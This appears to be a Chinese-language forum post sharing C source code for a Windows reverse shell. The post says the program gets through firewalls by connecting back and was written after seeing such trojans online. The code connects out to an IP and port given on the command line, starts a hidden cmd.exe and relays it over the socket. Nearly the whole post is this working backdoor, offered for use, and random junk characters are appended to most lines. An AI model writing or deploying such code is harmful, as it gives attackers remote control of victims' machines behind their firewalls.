这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 nng|m
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/* ============================== (:OMt2{r
Rebound port in Windows NT _xePh
By wind,2006/7 1q-;+Pd;
===============================*/ *6AV^^
#include o
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#include }vU/]0@,E
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#pragma comment(lib,"wsock32.lib") EG`AkWy
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void OutputShell(); YFJaf"?8g
SOCKET sClient; 57{T
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char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; d%qi~koN_
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void main(int argc,char **argv) YAT@xZs-
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WSADATA stWsaData; /fb}]e]N
int nRet; mJ<`/p?:
SOCKADDR_IN stSaiClient,stSaiServer; P:.jb!ZU
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if(argc != 3) e_Hpai<b
{ !`?i>k?Q E
printf("Useage:\n\rRebound DestIP DestPort\n"); d"db`8 ;S
return; dFw+nGN
} b5=|1SjR
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WSAStartup(MAKEWORD(2,2),&stWsaData); TaYl[I
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ;a1DIUm'
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stSaiClient.sin_family = AF_INET; [HWVS
stSaiClient.sin_port = htons(0); |X:`o;Uma
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); uXFI7vV6P
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) K
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printf("Bind Socket Failed!\n"); ;y\/7E
return; &2XH.$Q
} &Hp*A^M
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stSaiServer.sin_family = AF_INET; K1J |\!o
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); .tG3g:
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ,hI$nF0}p
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Gn^lF7yE
{ e`={_R{N
printf("Connect Error!"); *w*K&$g
return; ,
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} < r~hU*u
OutputShell(); CUH u=
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void OutputShell() |s/N?/qi
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char szBuff[1024]; l VD{Y`)
SECURITY_ATTRIBUTES stSecurityAttributes; `mteU"{bx
OSVERSIONINFO stOsversionInfo; +ho=0>
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; auAz>6L
STARTUPINFO stStartupInfo; k;cX,*DIn
char *szShell; 2#5Q~
PROCESS_INFORMATION stProcessInformation; _J,rql@nG<
unsigned long lBytesRead; .qohHJ&
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); cS YCMQ1ro
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); QAxy?m,'
stSecurityAttributes.lpSecurityDescriptor = 0; %XukiA+
stSecurityAttributes.bInheritHandle = TRUE; }(u:K}8
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ${z#{c1
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); eC<RM Q4
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); OW};i|
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Rl cL(HM
stStartupInfo.wShowWindow = SW_HIDE; +%9Re5R
stStartupInfo.hStdInput = hReadPipe; ui)mYR[8X
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Ix_w.f=8
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GetVersionEx(&stOsversionInfo); Bq)dqLwk
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switch(stOsversionInfo.dwPlatformId) [n/c7Pe
{ /
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case 1: S'|PA7a}h
szShell = "command.com"; n.9k5r@
break; g`'!Vgd?M[
default: W"@'}y
szShell = "cmd.exe"; ~fD\=- S1
break; DTA$,1JuD
} zdPJ>PNU
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Sd^I>;
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send(sClient,szMsg,77,0); +$L}B-F
while(1) i ?pd|J
{ Dom]w.W5
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 8%;Wyqdf]
if(lBytesRead) 30WOH
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ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 0U%tjYk(
send(sClient,szBuff,lBytesRead,0); &8i$`6wY
} `~d7l@6F
else \8ZVI98
{ A/a=)su
lBytesRead=recv(sClient,szBuff,1024,0); _/Ve~(
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if(lBytesRead<=0) break; BJ3<"D{.*4
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); |$IL:W6
} f@!9~s
} o9|
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return; egA*x*8
}